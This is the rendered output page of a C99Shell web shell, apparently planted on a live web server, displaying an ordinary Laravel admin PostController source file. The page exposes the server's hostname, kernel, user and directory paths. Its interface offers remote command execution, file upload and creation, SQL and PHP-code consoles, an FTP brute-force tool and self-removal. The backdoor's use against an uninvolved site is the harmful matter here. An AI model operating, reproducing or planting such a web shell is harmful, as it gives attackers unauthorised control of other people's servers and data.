!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Back/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PostController.php (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Back;

use 
App\{
    
Models\Post,
    
Repositories\Back\PostRepository,
    
Http\Requests\ImageStoreRequest,
    
Http\Requests\ImageUpdateRequest,
    
Http\Controllers\Controller
};
use 
Illuminate\Http\Request;

class 
PostController extends Controller
{
    
/**
     * Constructor Method.
     *
     * Setting Authentication
     *
     * @param  \App\Repositories\Back\PostRepository $repository
     *
     */
    
public function __construct(PostRepository $repository)
    {
        
$this->middleware('auth:admin');
        
$this->middleware('adminlocalize');
        
$this->repository $repository;
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        return 
view('back.post.index',[
            
'datas' => Post::with('category')->orderBy('id','desc')->get()
        ]);
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        return 
view('back.post.create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {

        
$request->validate([
            
'photo*' => 'required|image',
            
'title' => 'required|unique:posts|max:255',
            
'details' => 'required',
            
'type' => 'required',
            
// 'tags' => 'nullable|max:255'
        
]);
        if(!
$request->has('photo')){
        return 
redirect()->back()->withErrors(__('Please Upload Image'))->withInput($request->all());
        }

        
$this->repository->store($request);
        return 
redirect()->route('back.post.index')->withSuccess(__('New Post Added Successfully.'));
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit(Post $post)
    {
        return 
view('back.post.edit',compact('post'));
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestPost $post)
    {
        
$request->validate([
            
'photo*' => 'image',
            
'title' => 'required|max:255|unique:posts,title,'.$post->id,
            
'category_id' => 'required',
            
'details' => 'required',
            
'tags' => 'nullable|max:255'
        
]);

        
$this->repository->update($post$request);
        return 
redirect()->route('back.post.index')->withSuccess(__('Post Updated Successfully.'));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Post $post)
    {
        
$this->repository->delete($post);
        return 
redirect()->route('back.post.index')->withSuccess(__('Post Deleted Successfully.'));
    }


    public function 
delete($key,$id)
    {
        
$this->repository->photoDelete($key,$id);
        return 
back()->withSuccess(__('Photo Deleted Successfully.'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--